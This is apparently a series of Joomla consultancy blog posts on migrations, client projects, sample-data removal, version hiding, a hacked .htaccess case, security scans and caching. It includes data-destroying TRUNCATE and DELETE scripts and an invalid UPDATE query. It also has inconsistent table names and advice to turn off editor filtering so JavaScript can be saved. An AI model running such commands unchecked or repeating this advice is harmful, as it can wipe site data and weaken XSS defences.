So, as you can see from the above, there are many changes, but still it is possible to adapt (upgrade) a Joomla 1.5 template to make it work smoothly in Joomla 1.6 or 1.7 (although again, it is not straightforward), all you need is some programming experience. Now if you don’t have any programming experience, and if you want to upgrade to the latest version of Joomla and you need to ensure that your template still works, then don’t hesitate to contact us, we have helped many Joomla website owners so far migrate their templates from 1.5 to 1.6 (and recently to 1.7), and we’re confident we will be able to help you!

Joomla in Dubai

After the Joomla work we did in Qatar for a high profile school, we were contracted to do Joomla work for a major supermarket (that again, wanted to remain anonymous).

The work included:

– Installing a Joomla website. The latest version of Joomla was required.
– Modifying a Joomla 1.5 template to make it compatible with the 1.7 version of Joomla.
Securing the Joomla website for PCI certification (the website passed PCI certification the day we left Dubai).
– Adding a product catalog and a shopping cart to the website, and integrating the checkout process with a payment gateway (non-PayPal).
– Connecting the product catalog to the actual physical inventory of the supermarket (The challenge that faced us here is that since the databases are connected, what will happen when a user buys a product online that was physically bought (at the same time of the online transaction) by a shopper while visiting the actual store – the solution to this problem was to connect the database to another, non-displayed inventory, a technique that provided a better accuracy of the availability of the product, but a 100% accuracy was never guaranteed).
– Alerting the user when his products are scheduled for delivery after he buys them from the website.
– Creating and sending newsletters to website subscribers.
– Automatically updating the Facebook fan page with the latest products (this took us a long time – but now we know how to do it)
– Allowing users to watch a product. When a user watches a product, he will immediately receive an email when this product is on sale.
– Allowing users to review/rate products.
– Optimizing and scaling Joomla to handle thousands of daily investors (see our post on the number of users that Joomla can handle).

We were delighted by the professionalism we received from the Dubai team working on the project; the Dubai team was really experienced and we worked together to deliver the project on time and on scope (all the requirements that were listed in the project charter were deliverd, and we met all the milestones set by the Dubai team).

Here’s what we think of Dubai:

– It is one of the most beautiful cities in the world.
– The stores there have the latest technology (yes, we are obsessed by technology).
– The people working there are very professional, and they have very high standards.
– Although Dubai is really hot, you don’t feel any heat because all the places are air-conditioned.
– We would really love to do another project there.
– Nearly everyone in Dubai speaks English, so we didn’t have any communication issues.

If you have a Joomla project in Dubai, then feel free to call our Middle Eastern office directly at +961 71 90 23 99, and we’ll take it from there!

How to Convert a WordPress Theme to a Joomla Template

Sometimes, you see a WordPress theme, and you wish there was a version for it in Joomla so you can use it on your website. You start thinking, is there an immediate way to make a WordPress theme work on a Joomla website? The straightforward answer is no. You can’t just make a few modifications and make the WordPress theme become a Joomla template. However, there is a way to convert a WordPress theme to a Joomla template…

But it’s a very tedious way, you will need to do the following:

– Forget about the PHP code of the WordPress theme altogether (e.g. PHP source files), and just go a demo of the theme and download a sample HTML page.
– You will then need to create the Joomla theme out of that sample page (this process is identical to creating a Joomla template out of an HTML mockup – which is how all templates are created). Creating Joomla templates is not a piece of cake, and it involves a lot of hard work.
– You may need some PSD documents in order to cut/re-create some images.

Although the above consists of 3 steps, these steps are not simple at all. Just think of it as creating a new Joomla theme, because it will take you nearly the same amount of time to do a theme from scratch.

At itoctopus, we currently don’t provide design services, however, we can convert a WordPress theme to a Joomla template. This is a process that takes a maximum of 3 days (depending on the complexity of the theme). If you have a WordPress theme and you want it converted to a Joomla template and you don’t want to do the work yourself, then feel free to contact us, we’re always there and glad to help!

How to Remove Sample Data in Joomla

Every now and then, we have clients asking us how to remove the sample data in Joomla. The sample data is the data that the Joomla installer loads into your website during the installation process (note that the Joomla installer asks for your permission to do this).

In any case, there are two ways to do this, one is by just deleting the articles and other data (such as polls and weblinks) manually (which is a tedious process), and the other way is by deleting the sample data using phpMyAdmin.

Before you start: Make sure you backup your Joomla website and download the backup to your PC. Backup instructions are explained in this article on moving your Joomla website from one server to the other. Also make sure you don’t perform any of the below if you have real data on your website, other than the Joomla sample data.

Option 1: Deleting sample data from the backend

Again, this is a tedious and ugly process. What you need to do is the following:

  • Login to Joomla’s backend using a super administrator’s username and password.
  • Click on “Article Manager”, select all articles and click on “Trash” above.
  • Click on “Front Page Manager”, select all items and click on “Remove” above.
  • Click on “Section Manager”, select all items and click on “Delete” above.
  • Click on “Category Manager”, select all items and click on “Delete” above.
  • Click on “Menu Manager”, and delete all menus with the exception of the menu called “Main Menu”.
  • Click on “Components”->”Banners”, select all items and click on “Delete” above.
  • Click on “Components”->”News feeds”->”Feeds”, select all items and click on “Delete” above.
  • Click on “Components”->”News feeds”->”Categories”, select all items and click on “Delete” above.
  • Click on “Components”->”Polls”, select all items and click on “Delete” above.
  • Click on “Components”->”Web links”->”Links”, select all items and click on “Delete” above.
  • Click on “Components”->”Web links”->”Categories”, select all items and click on “Delete” above.
  • Click on “Extensions”->”Module Manager”->”Categories”, select items that have an id > 15 and click on “Delete” above.

Option 2: Deleting sample data from the phpMyAdmin

This is the easiest and the most efficient way, and it literally takes seconds, but the caveat is that you need to have access to phpMyAdmin:

– Login to phpMyAdmin.
– Backup the database by clicking on the database name in the left panel, and then click on “Export” at the top, and then follow the instructions (we know that we have already downloaded the backup, but this is just to be on the safe side).
– Once you have downloaded the database, click on SQL on the top, paste the following into the large textarea, and then click on “Go”:

TRUNCATE TABLE `jos_weblinks`;
TRUNCATE TABLE `jos_sections`;
TRUNCATE TABLE `jos_polls`;
TRUNCATE TABLE `jos_poll_data`;
TRUNCATE TABLE `jos_poll_date`;
TRUNCATE TABLE `jos_newsfeeds`;
DELETE FROM `jos_modules_menu` WHERE `moduleid` != 1 AND `menuid` != 0;
DELETE FROM `jos_modules` WHERE `id` > 15;
DELETE FROM `jos_menu_types` WHERE `id` > 1;
DELETE FROM `jos_menu` WHERE `id` > 1;
TRUNCATE TABLE `jos_content_frontpage`;
TRUNCATE TABLE `jos_content`;
TRUNCATE TABLE `jos_contact_details`;
TRUNCATE TABLE `jos_categories`;
TRUNCATE TABLE `jos_bannerclient`;
TRUNCATE TABLE `jos_banner`;

Substitute jos with the prefix of your website in case you changed it during the installation process (most of the times you don’t need to change anything in the script above).

That’s it!

If you encounter any problems during this process, then feel free to contact us, we will be more than glad to help you, we are also very fast and our fees are very reasonable!

How to Know that Your Joomla Website Is Virus Free?

Those who are experienced in website development and SEO know that when a website gets a virus, it will be deindexed (or at best lowered in rankings) if the virus remains for a long time, or, if the issue is transient, then new pages will no longer be indexed. Of course, search engines will forgive you when your website becomes clean again, but forgiveness sometimes can take a long time especially if you don’t fix the issue in a timely manner.

So, how do you know that your Joomla website is virus free?

Well, the first thing to do is to run online virus scans regularly on your website. There are many free tools on the Internet for doing this, AVG has one and there’s another one called Virus Total (we haven’t used the latter though, and that’s why we’re not linking to it).

Now if you have some very basic programming/system administration knowledge, you can do the following:

– Launch your website and click on “View Page Source” (in Firefox) and see if you can find any alien code. This “alien code” is usually JavaScript code in a hash format.
– Check your .htaccess file for malicious redirects (see here for a case of a hacked .htaccess file). If you find some weird code then revert to a backup file immediately or contact us and we’ll get this solved for you.
– Open index.php in the root folder of your website (through FTP or sFTP or FTPs) to see if there’s some malicious code inserted into the file.
– Do the same for all your template files (all the .php files located in your template directory).

It’s very important to do the above steps regularly, say once a week, and to keep your Joomla website always up-to-date. If you find a virus on your website, then call us instead of trying to remove it by yourself (in many cases the virus is present in different forms on the website and in different places). We’ll fix it for you, promise!

Joomla for Law Firms

Many of our customers are small to medium law firms, who want to expand or create their presence on the Internet. In the first case, our customers just want to expand their Joomla website to include features such as powerful newsletters or social networking. In the latter case, the customers don’t have a website yet, but they have already chosen the design, so we just create a new Joomla website for them, and we help them fill in the content, we also teach them how to use Joomla on their own.

Typically, the website of a law firm consists of the following:

– A homepage: The homepage consists of a short bio about the firm.
– Firm Overview: More detailed information about the firm.
– Attorney Profiles: The profile of each and every attorney working in the company (can be all on one page, or can be each on an individual page)
– Practice Areas: A page consisting of sub-pages each explaining a different practice area of the law firm.
– FAQ: A page containing some Q&A on legal issues (for example, slip & fall).
– Contact Us: A detailed contact us page, containing the full address, the phone numbers/the fax numbers/the emails, and a contact us form.
– Other pages such as privacy policy, legal/disclaimer, and sitemap.

Note that the basic contact information (such as the phone number) is present on every page.

So, now that we’ve listed the pages, what are the features that a law firms asks for its Joomla website to have? Well, in no particular order, here they are:

– Ability to have a form for clients to contact the law firm through.
– Ability to allow people to print pages on the website.
– Ability to send newsletters to their customers.
– Ability to see the traffic data (including search queries) coming to the website.

Some customers also ask for the below features:

– Ability to search on their websites.
– Ability to have a blog.
– Ability to create custom forms.
– Ability to integrate their website with social networks such as Twitter and Facebook.

If you have a law firm, and you want to create a Joomla website or upgrade your Joomla website, then feel free to contact us. We have helped many lawyers create/expand their online presence, and we are confident that we can help you as well!

Joomla Outsourcing

In this article, we will discuss outsourcing for Joomla websites, its advantages and disadvantages. We will also conclude on whether or not you should outsource your Joomla development.

Outsourcing means having someone do the programming work for you, even if you have some programming experience, typically for a cheaper price. Outsourcing, in all of its forms, exists now for more than a couple of decades, and is being used by many companies, regardless of their size or the size of their projects..

Since many websites (over 1% of the websites in the whole world) are powered by Joomla, it is natural that outsourcing becomes a hot topic a Joomla, but is it a good thing? And what are its advantages and disadvantages?

The disadvantages of outsourcing in Joomla are very similar to the disadvantages of outsourcing in general, and they are:

  • Miscommunication: In many cases, companies outsource to other development companies in non-English (or poor-English) speaking countries. This usually results in miscommunication issues between the involved parties over the outsourced project, which may result to frustration on both sides, and a job that is not well done.
  • Incomplete requirements: Most companies that accept outsourced work do not bother to do some good requirements gathering for the project, this is because they don’t really care about the project, nor the company paying for the project. They only care about the money!

  • Low quality: Most companies outsourcing work on their Joomla websites, get some very low quality work, including broken functionality, security issues, etc…

As for the advantages of outsourcing your Joomla website, they include:

  • Fast development: Usually the companies that the work is outsourced to are experts in every Joomla area, and thus the development will be much faster.
  • Low cost development: Because the development is fast (see above), and the work is usually outsourced to developing countries, the cost is of implementing a functionality is relatively low.

Now, as you can see from above, the advantages do not erase the disadvantages. The disadvantages are serious: a compan doesn’t want to spend a lot of time explaining something to some developers overseas who may or may not understand English and who may or may not understand the requirements, and who or may not care about the requirements.

So what’s the solution? The solution is to find a company where the developers speak perfect English, where the developers actually care about your Joomla website and your business, where the means of communication are traditional (including face-to-face or phone). A company that is serious about understanding your requirements.

So should you outsource your Joomla website? If you feel that the company understands your needs and that is not only there for quick money, then go ahead, outsourcing will improve your business. If, on the other hand, you feel that you’re not getting immediate and understandable responses about your queries from a company, then stay clear!

At itoctopus, we pride ourselves that we fall into the first category:

  • We treat the Joomla website as if it is ours!
  • We are experts in Joomla and Joomla security!
  • We keep asking questions about the project and the business until we understand what the full requirements are!
  • We get paid when the job is done, according to the specified requirements. So, we just don’t get your money and disappear, we only get your money when you think that we’ve delivered value to you!
  • We speak perfect English, and we understand all the accents, from the Texan to the Canadian accent, and everything in between!
  • We always keep to our promises!

If you have some Joomla project that you want to outsource, then check our very reasonable fees, and then contact us!

How to Hide the Joomla Version?

In our small post on how to get the Joomla version, we mentioned that some website developers hide the Joomla version for security reasons. So what are these “security reasons” and how do they hide it?

The main reason why some website developers hide the Joomla version is because there are malicious scripts running on the Internet that have a single goal of finding which type of CMS is powering each and every website. By knowing the type of the CMS that a certain website is running, the attacker will be able to know what are the vulnerabilities associated with this website, and then start performing his attacks accordingly. For example, if an attacker finds out that a certain website is running Joomla version 1.0, he will be able to immediately know what are the vulnerabilities of this website (they are listed by the Joomla community), and then attack it based on its vulnerabilities.

Now how can the Joomla version be hidden?

Well, you have to have some basic programming experience (if you don’t, then please contact us, and we’ll hide the Joomla version for you), and there are two ways to do it:

  1. Changing a core Joomla file

    Open the file /yourwebsiteroot/libraries/joomla/document/html/renderer/head.php . Search for the line:

    $strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

    Change it to:

    //$strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

  2. Change the main template file

    Open the file: /yourwebsiteroot/templates/yourtempaltename/index.php

    Add the below code immediately before this line <jdoc:include type="head" />:

    $this->setGenerator(null);

    or

    $this->setGenerator("");

    or

    $document = &JFactory::getDocument();
    $document->setGenerator('');

Both methods have advantages and disadvantages. If you follow the first method, then you are changing a core file, which is not recommended, as you will have problems if you upgrade your Joomla version. On the flip side, if you follow the first method, then you won’t have to do any extra work if you change the template. If you follow the second method then you will be safe as you won’t touch the core files, however, you will have to redo the above in case you decide you want to change/upgrade the template.

How to Know Your Joomla Version

When we receive a support call from a new client, one of the questions that we usually ask is “Which version of Joomla are you using?” In many cases, the client doesn’t know the version, so we check his Joomla website to find out which version he’s using ourselves.

What we do is that we go to his website and then right click on the page, and then click on “View Page Source” (in Firefox). One of the lines (at the beginning of the source file) starts with <meta name="generator".../>

Here’s the complete line from one of our client’s website:

<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />

The line above shows that our client is using Joomla version 1.5, which means that it’s probably time to upgrade his website. In case you find out that you’re using an old version of Joomla and that you need to upgrade, then we are here to help. Just contact us and we’ll help you upgrade your website to the latest Joomla version!

Notes:

1. In some rare cases, the line above starting with “meta name…” is not present in the code (this is sometimes hidden by whoever created the website for security reasons), so we can’t just know the version by visiting the website, so what we do is ask our client to have FTP access to the website, and then we examine the files to see which version of Joomla he is using.

2. Another way to know which Joomla version the client is running is by printing out the global $_VERSION variable. However, this will not work on some Joomla versions.

Why You Can’t Install an Extension on Joomla

We regularly have clients coming to us and telling us that they are unable to install an extension on their Joomla website. An extension, as most of you would probably know, is any plugin, module, or component. So imagine if you are about to install a simple plugin to display the current temperature on your website and you are greeted with a message such as “could not create directory” or “warning! failed to move file” – in other words, Joomla was unable to install your plugin. What would you do?

According to our experience, here are the reasons why you’re not able to install an extension on your Joomla website:

Unable to write to the /tmp directory

In PHP (which is the programming language that Joomla is written with), usually when you upload a file (unless you change the php.ini file), it is uploaded to the /tmp directory. Now if Apache can’t upload to this directory (due to permission problems) then your extension won’t be uploaded, and thus won’t be installed. The solution to this is to create the /tmp folder and ensure that Apache and your account both have write permissions on this folder.

Zip library not installed on PHP

All the Joomla extensions are zipped when they are in the installable format. At one point, when you are installing an extension, Joomla needs to unzip it in order to move it to the appropriate folder(s). If the zip library is not installed, then Joomla won’t be able to install the extension. The solution to this problem is to contact your system administrator to install the zip library on PHP (note that Apache needs to be restarted once the zip library is installed).

No directory permissions

Once a file is uploaded to the /tmp directory and after it’s unzipped, Joomla then moves the unzipped directory(ies) to one or more folders (for example, a extension can consist of a module and a component, so Joomla will move one folder to the modules directory under the root of your website, and another one to the components1 directory, also located under the root of your website). If your user cannot write to one or more of the following directories: plugins, modules, components then the install will most likely fail (we’re saying most likely because it may be possible that you’re able to write to the plugins directory and your extension is just a plugin). The solution to this problem is to give the appropriate permissions to these directories.

Note that it’s not advisable at all to install a Joomla extension manually, in other words, unzipping it manually and placing the unzipped folders into the corresponding directories, this is because the installation package contains a file which has all the information about the plugin, and that file is loaded into the Joomla database when you install the extension the normal way. Anyway, in most cases, doing the process manually will result in a broken extension (e.g. the extension won’t work), unless you do the database updates manually.

If you are still having problems installing an extension, then please contact us, we’ll only charge you for 1 hour, and our rates are very reasonable.

1 Note that most extensions install their directories under the root of your website (such as components) and under the administrator’s folder (such as administrator/components)

Why Is Joomla So Popular?

At itoctopus, we receive a lot of Joomla jobs, a lot of more jobs than other CMS’s, which means that Joomla is very popular. But why is Joomla that popular? We think there are many reasons for Joomla’s popularity, including:

  • It is very easy to build a basic website with Joomla that anyone with little computer skills can maintain and update, including the website owner.
  • Joomla serves the basic need of most small businesses, which is to have a professional online presence, fast!
  • Joomla has a lot of templates. There are so many templates for each and every version of Joomla that one can be easily lost when choosing a template for his website.
  • Joomla has a huge community supporting it. One of the biggest CMS communities is Joomla’s community: whenever anyone has a question about anything in Joomla, there are many experts ready to answer him.
  • Joomla has a lot of extensions to do nearly anything. There is always an extension to satisfy any need: From Facebook integration, to creating your own online store, to sending newsletters, to blogging, etc…
  • It is easy to build custom features. For example, in the unlikely event where someone wants a feature that doesn’t already exist (either as a core Joomla feature or as an extension), he can get a company to develop that feature for him. (itoctopus has developed many Joomla extensions so far, if you want to develop a custom Joomla extension, then please contact us. Our fees are very reasonable!).
  • Alternatives to Joomla are not that great. Even though WordPress is an excellent CMS, it still lacks a lot of features that Joomla users have, the most important one is the way the templates work on Joomla (the way you create menus, the way you assign content, the way you activate plugins, modules, etc…)
  • Joomla’s main marketing tool is word of mouth (the best marketing tool). When someone creates his website using Joomla, and discovers how easy it is to do things, then he suggests it to his friends when they want to develop websites for their businesses themselves.
  • Joomla is stable. Joomla is a very stable CMS. It is very reliable. Usually stability issues in Joomla stem from the use of non-core extensions that are badly coded.
  • Joomla is secure. Again, security issues stem not from Joomla’s core itself, but from third party extensions installed by the website owner.
  • Joomla is here to stay! Joomla is maintained by a group of very serious developers who are ready to maintain it for many years to come. These developers always create newer versions of Joomla that address security and stability issues (not to mention, of course, adding/changing features based on the community’s feedback).

Are you still wondering why Joomla is so popular?

Hacked .htaccess File on Joomla

We had a weird case today. One of our clients came to us and told us that one of his Joomla websites got hacked, and he sent us some links on his website, containing some obscene content, links to malicious websites, and of course, malicious JavaScript that will probably install a spware/adware/virus on one’s PC once he visits that link.

The first thing that we did was that we searched the database for this obscene content, we couldn’t find any. We then searched the database for the title of the link, we also couldn’t find any. Weird…

The second step was checking the template files, we wanted to see if any of these files was hacked. To our surprise, none was…

We then thought, apparently the content is not there, so it might be that there is this one malicious Joomla extension that our client installed by mistake and made this mess. We disabled all 3rd party extensions, and still that page existed, with the obscene content in it.

Our last and final step was to check the .htaccess file in the root directory of the website, maybe, just maybe, the .htaccess was hacked and the traffic was redirected somewhere else? We opened the .htaccess file and we found that many lines in this file were replaced by other malicious lines (one of those lines called a file called “functions.php” which included a lot of malicious code). To fix the problem, we did the following:

– We restored a previous version of the .htaccess file
– We changed the permissions on the .htaccess file to 644 (it was 777 before)
– We removed the malicious functions.php
– We then advised the client to upgrade to the latest version of Joomla (the client was using Joomla 1.5)

There are many reasons on why a Joomla website gets hacked, but regardless of the reason, we are always there to help, and as usual, at lightning speed! So feel free to contact us to fix your Joomla website in the unfortunate event of it being hacked.

How to Unlock a Joomla Article?

Literally every week we either receive a phone call or an email from a client telling us that one of his articles is now marked as “checked out” and is locked for editing. They tell us that they’re unable to unlock these articles to edit them. They then ask, why was the article locked in the first place?

Joomla has this not so smart functionality where someone opens an article for editing, it locks it, so that other people trying to edit the article won’t be able to. This functionality is very old (it dates back to the Mambo era) and it guarantees that no 2 people are working on the same article at the same time (which will guarantee no one is overwriting somebody else’s edits). The lock is removed once the person who started editing the article clicks on the “Close” button on the top right. Clicking on any other button won’t unlock the article, and clicking on the back button will also keep the article in locked status.

Let us now answer the question in the tile, how to unlock a Joomla article. When an article is locked, there are 3 ways to unlock it:

1- The same person who locked the article in the first place either closes the article (if it’s still open) or opens the article again, and then closes it.
2- A super administrator logs in to the Joomla administrative panel, and then click on System (or Tools, depending on the Joomla version), and then clicks on Global Checkin. This will unlock all the locked articles.
3- Someone logs in to phpMyAdmin (hopefully that someone is a technical person), and then runs the following query: “UPDATE TABLE jos_content SET checked_out = 0”. This will also unlock all locked articles. (Note: You should remove the quotes around the query before trying to run it).

The last option should be the very last resort, and should be done very carefully. In case you need help unlocking a Joomla article, then feel free to contact us.

Is Joomla a Good Choice?

Sometimes, we have some business owners or even IT Managers in non IT companies (such as law firms) asking us about Joomla. The first and most important question they ask us “Is Joomla a good choice?”

Our answer is, as always, it depends.

We tell our customers that Joomla is a good choice if:

  • You’re not running a huge business on your website.
  • You don’t have a lot of visitors accessing your website.
  • Your website is to promote your business online, but is not your business.
  • You (or someone working for your) has some basic computer and Internet skills to maintain the website (creating/updating new articles, installing/uninstalling extensions, updating Joomla, etc…). This is because Joomla can be hard to learn.

In the above cases, Joomla is a good choice because:

  • It is easy to update any article and add any functionality (provided an extension for that functionality exists) if you have some basic Internet skills.
  • It will definitely promote your business. All of our Joomla customers have an offline business complemented by their Joomla website. For example, we have a lady that offers monthly subscription to healthy meals (for those professionals who are unable to cook healthy food for themselves) selling these subscriptions online. In this (and many other cases) Joomla is actually great for ecommerce.
  • Joomla websites can handle an average amount of visitors/day. Which is what most businesses need.

Joomla is not a good choice if:

  • You have zero Internet knowledge and you want to update your website yourself.
  • You expect to have a huge number of unique visitors (30k+) accessing your website daily.
  • You want a lot of custom (non standard) functionality on your website.
  • You’re using the website solely for blogging (better use WordPress in this case)
  • You want some change done and you want it now, and you don’t want to pay for it (However, if you’re willing to shell some money for that change, there are several companies that will help you do this, including itoctopus).
  • You think that you can just create your website and forget about it. This is very important, because most forgotten websites get hacked, and it’s very hard to get a website back to Google’s indexes if it got hacked.

Joomla in Qatar

We were in Qatar a couple of weeks working on a huge Joomla website. The website was for a portal for a school (unfortunately the agreement states that we cannot mention the school name on our website). This is the second largest website we’ve done in Qatar, the first one was a non-Joomla website we’ve done for a major Qatari bank.

The project consisted of the following:

– Installation of Joomla
– Integration of the design that was already created by the design team in Qatar (Note that the design team does not work for itoctopus)
– Integration of Moodle in the Joomla website
– RSVP (Répondez S’il Vous Plaît) extension creation, where students RSVP to certain events
– E-com integration to accept credit card payments from parents for different events/activities (the e-com was integrated with the RSVP)
– PCI security compliance, which included ensuring that the e-com database is separate, that both transactions and credit card numbers are secure, and that all the security leaks are taken care of
– Integration of a Web Service provided by the Qatar Meteorology Department to list the weather warnings on the website
– Creation of many extensions to accommodate the different services that the school wanted to support

It took 2 of our people 2 months to finish the job, and we’re happy to say that the school board was really happy with the results, and the website is used extensively by the students. We are also happy that we will work with the school again on a phase II of the project which consists mainly of:

– Providing sub-blogs for students (We might use WordPress with Joomla to provide this functionality): This means that students will be able to have their own blogs that are hosted on the school’s website. For example, let’ say that a student’s name is “ABC”, then his blog will be abc.blogs.websitename.com.qa . The blogs will be used by students to share their experience about their classes. The blogs will be secured and a mechanism will be used to prevent abuse.
– Facebook integration with the website: Including unifying the login, commenting on pages/blogs, sharing the school’s events on Facebook (so when the school creates a new event it will be automatically published on Facebook), etc…
– Ranking professors: Anonymous ranking of the professors will be provided to registered students.

Some things to say

– We were impressed by the country: It is really booming, and the infrastructure, when it comes to technology, is new and efficient.
– The people there are really great: They are very intelligent, very helpful, and really generous (we were invited to breakfast, lunch, and dinner every day – no kidding, and lately we were invited to Iftars and Souhours since it’s Ramadan).
– We love the weather: Yes it’s hot, it’s very very hot. But if you live in Canada you start to appreciate very hot weathers.
– Companies love Joomla in Qatar: Yes they do, we were able to establish many contacts there because they were interested in creating a Joomla website for their business.
– Development standards are really high: We remarked that both the school and the bank had some really high standards when it comes to development: They were very exigent about the documentation, the security, the coding standards, the compliance with the W3C for HTML and the compliance with PCI for security, etc…
– We did not want to leave: Yes, we really wanted to stay there.

The first time we undertook a project in Qatar was back in October of 2010 (less then a year ago), and we started the school’s project in June of 2011. We think that there’s a great potential there, and we will continue to seek opportunities in the Qatari market. We even have a Middle Eastern number that our Qatari clients can call to, which is: +961 71 90 23 99.

Can Joomla Work on Oracle?

We have had a few jobs to make Joomla work with Oracle instead of MySQL, and we can say for sure that it’s not a job for beginners. Yes, Joomla can work with Oracle as a database, but the problem is that it needs modification in its core for it to be able to do so. But why is that? Why isn’t the process easier?

The reason why the process is hard and is not about flipping a switch is because Joomla was first designed with MySQL, and only MySQL in mind. Of course, MySQL complies with nearly all the database standards out there, but Oracle, from our experience, doesn’t. Oracle is a much more complicated server, and does not usually install, nor work, in a few seconds. Usually, developers are “thrilled” when they are able to connect to an Oracle database, and “exalted” when they’re able to add/retrieve information from it for the first time. When was the last time a developer was that happy that he connected to a MySQL database? Yes, we figured so!

Let’s move into the technicals on why Joomla cannot run on Oracle by default:

  • The database and table creation script does not work without modification.
  • The connection and the database class are written to connect to MySQL and not to Oracle (so they all use MySQL functions).
  • Some of the extensions use native MySQL functions directly, instead of connecting using the Joomla Database interface (class).

Now here’s how we make Joomla work on Oracle:

  • We fix the SQL installation script to accommodate the Oracle database in case of a new installation. In case of an existing installation, we export all the database, as well as its data to a SQL file, and then we modify the SQL file (using find and replace) to make it work with an Oracle database.
  • We load the modified installation file or the modified exported SQL file into the Oracle database.
  • We then create a copy of the Joomla database class, and then we modify all the functions to work with Oracle instead of MySQL.
  • We ensure that the Oracle drivers are properly installed and loaded by the php.ini file.
  • We rename the original MySQL database (you will know in the next step why) to something like database_name_old.
  • We switch to the new database class and fully test the website to see if some extensions are not working. If an extension ceases to work then it is a sign that this extensions is calling the original MySQL database (which no longer exists because it was renamed) directly.

The process usually takes us around 3 days (a day consists of 8 hours – check our fees to see what the total cost usually is). It may take more depending on the number of extensions installed. If you want to move your Joomla database to Oracle or you need to have a fresh Joomla installation with Oracle as a database, then just contact us, we have helped others before achieve this goal and we are confident we can help you!

How Many Users Can Joomla Handle?

A question that many of our clients ask is the following: “How many users can my Joomla website handle?”

Our answer is: The number of users that your Joomla website can handle depends on the following:

– The server you’re hosting your website with.
– The number of extensions you have activated on your website.

Joomla is a very heavy CMS, much heavier than WordPress. We’ve seen Joomla websites crash when being visited by just 10 visitors simultaneously. Even worse, we’ve soon Joomla websites crash when people refresh the page multiple times. These websites obviously suffer from being hosted on a very crowded server, and from a myriad of unnecessary extensions that are activated.

We’ve seen other Joomla websites receive many thousand visitors at the same time, and yet respond immediately. These websites are usually blessed with being hosted on a dedicated server. Additionally, these websites are usually managed by at least one professional who only activates the necessary extensions, who constantly monitors the load on the server (and makes some tweaks on the server to enhance the speed of the website), who makes use of caching in the right places, and who analyzes bottlenecks on the website and takes prompt actions to neutralize these bottlenecks (such actions may include hiring some Joomla experts to fix the code).

We think that any Joomla website should handle at least 10,000 visitors/day without a hitch (Note: a Joomla website should handle 50 concurrent users), even on a shared hosting platform. If you have a Joomla website that is only able to accept a few hundred visitors/day before crashing/not responding, then probably it’s time to contact us. Here’s how we’ll help:

We’ll identify and fix the problematic extensions. Problematic extensions are those extensions that use a lot of resources (especially database resources) because of inefficient queries.
We’ll tweak caching on your website. Caching is a two edged sword. The website can risk being not up-to-date if it’s used heavily, and can risk being slow if it’s not used at all.
We’ll check if your hosting provided is actually good. Often the problem lies in your hosting provided. Some servers have literally hundreds of websites installed on them, and it only takes one bad apple (website) to ruin the whole bushel (server).

Joomla: Where Is It?

In this post, we have decided to answer 3 common questions that our clients ask us about the location of files/data in Joomla. We hope that this post will help everyone!

Where is php.ini in Joomla?

php.ini is a PHP system file, and has nothing to do with your Joomla website. php.ini is usually located somewhere on the server outside of your web directory. It might be located in places such as: /web/vhosts/ or /etc/. Sometimes, the php.ini file is located under the Apache folder, or under c:\Windows\System32 on a Windows server. Now if you want to override some setting in the original php.ini file, you may create a copy of the original php.ini file (you can ask your hosting provider to do this if you are on a shared hosting) and then modify its contents, and then put the modified copy under the root of your Joomla website. Note that this won’t work if your hosting provided disabled this “functionality”.

Where is configuration.php in Joomla?

configuration.php is located under the root folder of your Joomla website. For example: /web/vhosts/yourdomain.com/configuration.php.

Where are the articles stored in Joomla?

Joomla articles are not stored as physical files on the server. Instead, they are stored in the database in the table jos_articles.

Acunetix and Joomla

Most of our jobs dealing with securing a Joomla website by removing all potential security threats have to deal with Acunetix. Usually, our customers come to us with either an Acunetix report or ask us to run an Acunetix scan on their Joomla website.

Typically, here are the couple of critical vulnerabilities that we find:

– XSS (Cross-site scripting) vulnerabilities: We solve these by removing all JavaScript code from the user’s input.
– SQL Injection vulnerabilities: Escaping is, in most cases, the solution. Usually SQL injection vulnerabilities exist in non-core Joomla extensions.

It takes us anywhere between 2 to 3 days to finish the job (cleaning all the extensions and fixing the code). For our small business customers, we follow up with them every quarter to ensure that they’re website is still bullet proof.

For those of you who want to know, the common reasons why our customers run these security scans on their websites are:

– They (our customers) want to become PCI compliant, so it’s a pre-PCI compliance test.
– They run a mission critical website that should not be hacked.
– They run a government website where there are standards that must be met when it comes to security.

When to Clear the Cache in Joomla?

As we all know, there’s a caching functionality on Joomla that is activated on most websites. This caching speeds up the website, while ensuring that the freshness of the content is not affected, because Joomla’s default caching only caches php code, and not the content itself.

A question on many Joomla website owners is “When should I clear the cache of my website?” (Note: It is “clear the cache” not “clean the cache”, you’re not cleaning anything, you’re just clearing/removing some files).

The answer is simple, you should clear the cache when you are updating/installing/removing any extension on your website. This is because you need to refresh the pages once you do this. Clearing the cache regularly, even if you haven’t changed anything on your website, is also recommended (there might be some subtle changes that you did and that you forgot they exist).

Not clearing the cache is a very common reason for a problem that our clients encounter quite often which is: “My Joomla changes are not showing!“.

Tips and warnings

– It is best to clear the cache at a time where your website receives the smallest number of visitors (such as 2 AM), especially if your website has a lot of cached files (over a 1,000), this is because the operation can be heavy on the server hosting your website (in other words, your website may be slower while you’re clearing the cache).

– Clearing your cache means that Joomla has to recreate the cache from scratch, which means that each page will take longer to load the first time it is visited after the cache. While you won’t feel this if your website is small, you will definitely notice it if you run a very big website.

How to Add Javascript to Joomla Articles

Note: This post applies to Joomla 1.5. If you have Joomla 1.6, then please contact us, as the procedure is different.

Nearly every day we are contacted by one or more of our customers who tell us the following:

I have tried to add Javascript code to my website, but it doesn’t work. It seems that Joomla strips or escapes the Javascript code when I save it. Even when I go to HTML mode in the editor, it’s still doesn’t work. Is there a way to add Javascript code to my website without paying you any money?

Here’s our answer:

Fortunately for you and unfortunately for us, there is a way to add Javascript to your articles without using our services. All you need to do is the following: Go to Site->User Manager. Click on your username, and then under Parameters on the right side pane, choose “No Editor” from the “User Editor” field. This will ensure that the HTML will neither strip nor escape your Javascript code.

Now that you know how to fix it, let us tell you why this happens. It happens because the editor tries to prevent users from creating content that may have malicious content. If you ask us, we think that by default all administrators should be allowed to add Javascript code to their websites without a problem.

How to Notify Subscribers When a New Article Is Posted on a Joomla Website?

